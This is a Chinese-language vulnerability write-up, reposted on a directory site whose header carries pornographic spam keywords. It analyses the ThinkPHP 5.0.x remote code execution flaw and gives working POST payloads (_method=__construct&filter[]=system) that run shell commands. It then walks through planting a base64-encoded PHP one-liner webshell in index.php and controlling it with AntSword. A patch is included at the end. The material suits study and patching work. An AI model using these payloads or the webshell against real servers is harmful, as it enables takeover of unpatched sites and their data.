日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長提供免費收錄網(wǎng)站服務(wù),提交前請做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

作者介紹:Ice

 

國科學(xué)院安全學(xué)員,在國科學(xué)習(xí)安全課程,也參與在國科學(xué)生會安全團(tuán)隊中進(jìn)行安全實戰(zhàn)能力的提升。本次分享主要是針對現(xiàn)在一款運用極廣的開發(fā)框架Thinkphp的遠(yuǎn)程代碼執(zhí)行漏洞研究,希望給大家?guī)硪恍椭?/p>

 

0x00背景

ThinkPHP誕生于2006年,是一個國產(chǎn)開源的PHP開發(fā)框架,其借鑒了Struts框架的Action對象,同時也使用面向?qū)ο蟮拈_發(fā)結(jié)構(gòu)和MVC模式。ThinkPHP可在windows和linux等操作系統(tǒng)運行,支持MySQL,Sqlite和PostgreSQL等多種數(shù)據(jù)庫以及PDO擴展,是一款跨平臺,跨版本以及簡單易用的PHP框架。

ThinkPHP是一款運用極廣的PHP開發(fā)框架。其5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導(dǎo)致攻擊者可以調(diào)用Request類任意方法并構(gòu)造利用鏈,從而導(dǎo)致遠(yuǎn)程代碼執(zhí)行漏洞。

 

0x01影響范圍

Thinkphp 5.0.0~ 5.0.23

 

0x02漏洞分析

 

此處漏洞出現(xiàn)在thinkphp用于處理HTTP請求的Request類中,其中源碼存在一個method方法可以用于獲取當(dāng)前的請求類型。

Method方法路徑:thinkphp/library/think/Request.php

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

IsGET、isPOST、isPUT等方法都調(diào)用了method方法來做請求類型的判斷(只列出來這些,還有其他的,比如head請求、patch請求)

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

而在默認(rèn)情況下,是有表單偽裝變量的。

var_method為“表單偽裝變量”,這個東西在Application/config.php里面定義

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

里面出現(xiàn)了:表單請求類型偽裝變量,我上官方論壇看了一下,他是這樣定義的

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

因為html里的form表單的method屬性只支持get和post兩種,由于源碼沒有進(jìn)行任何過濾的措施,我們就可以利用控制_method參數(shù)來動態(tài)調(diào)用類中的任意方法,通過控制$_POST的值來向調(diào)用的方法傳遞參數(shù)

在默認(rèn)情況下,該變量的值為“_method”

但是我們在method方法中,將表單偽裝變量對該方法的變量進(jìn)行覆蓋,可以實現(xiàn)對該類的所有函數(shù)進(jìn)行調(diào)用。

在request類中,分析一下_construct析構(gòu)方法

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

我們看見,如果析構(gòu)方法中屬性不存在(142行),那么就會自己調(diào)用配置文件中的default_fileter的值(所以在thinkphp5.0.10版本中,可以構(gòu)造這樣的一個

payload——》s=ipconfig&_mehthod=__construct$method=&filter[]=system)

但是由于thinkphp5.0.23中進(jìn)行了更新,在APP類中(路徑thinkphp/ library/think/App.php)中進(jìn)行更新,新增設(shè)置了filter的屬性值,初始化了filter的屬性值,所以上個版本的覆蓋文件的默認(rèn)值無法被利用。

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

而后,我們發(fā)現(xiàn)在request中的param方法也調(diào)用了method方法,他用于獲取當(dāng)前請求的參數(shù),傳入了默認(rèn)值true

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

這個時候我們在返回去看_method方法

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

當(dāng)傳過來的值為true時,會利用到server方法,我們再看一下這個方法

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

由上可知,我們傳過來的參數(shù)是REQUEST_METHOD,即name為REQUEST_METHOD,而后就會去調(diào)用input方法,我們跟蹤一下input方法

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

我們在跟蹤一下getFilter方法看看

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

很明顯這個方法執(zhí)行了圖中畫框的代碼(不為空),$this->filter被賦值給了$filter,也就是請求中的filter參數(shù)

我們在返回input方法,解析過濾器之后,我們發(fā)現(xiàn)執(zhí)行了判斷$data是否為數(shù)組,如果不是數(shù)組就可以將每個值作為一個參數(shù)用filterValue進(jìn)行過濾

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

我們發(fā)現(xiàn)sever方法中的,$this->server被賦予的是一個超全局變量,那么我們就可以在調(diào)用析構(gòu)方法的時候,我們也可以對$this->server的值進(jìn)行覆蓋

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

在filterValue方法中,調(diào)用了call_user_func方法導(dǎo)致了代碼執(zhí)行

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

這時候發(fā)現(xiàn)在在App類中,找到一處調(diào)用了$request->param();

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

在調(diào)用param方法之前,進(jìn)行了未設(shè)置調(diào)度信息則進(jìn)行 URL 路由檢測的功能。用routeCheck方法來設(shè)置$dispatch。然后用exec方法

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

$config變量是通過initCommon方法中的init方法初始化的

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 


ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

RouteCheck方法,加載config文件導(dǎo)入路由配置,然后通過Route::import加載路由

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

我們根據(jù)路由檢測規(guī)則,$method給的值不同返回的結(jié)果也會不同

Router類中的check方法控制了check函數(shù)中的$item變量也就控制了check方法最終返回的值,同時也控制了App類中的調(diào)度信息$dispath,而$dispath在App類中的run方法中被exec方法調(diào)用

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

這里使用了switch語句判斷$dispath['type']來執(zhí)行相應(yīng)的代碼。

之前,我們需要調(diào)用Request類中的param方法來對filter變量的覆蓋。

如果$dispath['type']是controller或者是method的時候可以直接調(diào)用param方法。

當(dāng)我們讓$dispath['type']=function的時候,調(diào)用了invokeFunction方法, invokeFunction方法調(diào)用了bindParams方法也對param方法進(jìn)行了調(diào)用。

我們控制了url中的s參數(shù)的值可以設(shè)置不同的$method,讓routeCheck返回$dispath。

我們將控制的url參數(shù)s的設(shè)置為captcha,并且設(shè)置post數(shù)據(jù)

所以此時可以構(gòu)造payload:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

 

0x03漏洞危害等級

嚴(yán)重

 

0x04漏洞利用

1、 在網(wǎng)頁上構(gòu)造payload(可以利用burp,也可以在POST上傳)

(1)查看目錄下的文件(ls)

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 


ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

(2)查看id

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 


ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

(3)查看當(dāng)前目錄

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 


ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

(4)查看ip等信息(由于環(huán)境搭建在ubuntu,要用到sudo命令,所以可能查不了)

 

(5)這時候我們還可以更改上述payload中的

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

將其改為phpinfo,發(fā)現(xiàn)是可以輸出關(guān)于 PHP 配置的信息

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

2、 利用蟻劍工具getshell

為什么使用蟻劍工具?

由于存在過濾,需要用到base64加密來使我們的一句話木馬上傳成功

我們知道了一定存在index.php這個文件,那么我們就對其進(jìn)行修改為一句話木馬的樣式

利用 echo “<?php @eval($_POST[‘xss’]);?>” >index.php 進(jìn)行測試

為了顯示我們成功注入,我們在其中添加字段變?yōu)?/p>

echo “aaa<?php @eval($_POST[‘xss’]);?>bbb” >index.php

對引號內(nèi)的進(jìn)行base64,注意此時的引號不需要進(jìn)行加密

經(jīng)過測試,發(fā)現(xiàn)eval函數(shù)是注入不了的,需要替換為arrest函數(shù)才可以成功注入

所以

Echo “aaa<?php @assert($_POST['xss']);?>bbb” >index.php

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

最后構(gòu)造出來的payload為

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

成功回顯出aaabbb,說明是加入到了index.php里了

開始用蟻劍,URL地址填寫我們一句話木馬的位置

注意要選擇char16和base64

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

進(jìn)入界面

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

上傳測試數(shù)據(jù)

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 


ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

進(jìn)入容器看看效果

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

 

發(fā)現(xiàn)是可以的!

 

0x05解決方法

自動:升級到最新版本(如果是在5.0.0——5.0.23之間的)

手動:

打開/thinkphp/library/think/Request.php文件,找到method方法(約496行),修改下面代碼:

$this->method = strtoupper($_POST[Config::get('var_method')]);

$this->{$this->method}($_POST);

改為:

$method = strtoupper($_POST[Config::get('var_method')]);if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {

$this->method = $method;

$this->{$this->method}($_POST);} else {

$this->method = 'POST';}

unset($_POST[Config::get('var_method')]);

0x06 使用條件

ThinkPHP5 5.0.23 遠(yuǎn)程代碼執(zhí)行漏洞

分享到:
標(biāo)簽:ThinkPHP
用戶無頭像

網(wǎng)友整理

注冊時間:

網(wǎng)站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨大挑戰(zhàn)2018-06-03

數(shù)獨一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學(xué)四六

運動步數(shù)有氧達(dá)人2018-06-03

記錄運動步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績評定2018-06-03

通用課目體育訓(xùn)練成績評定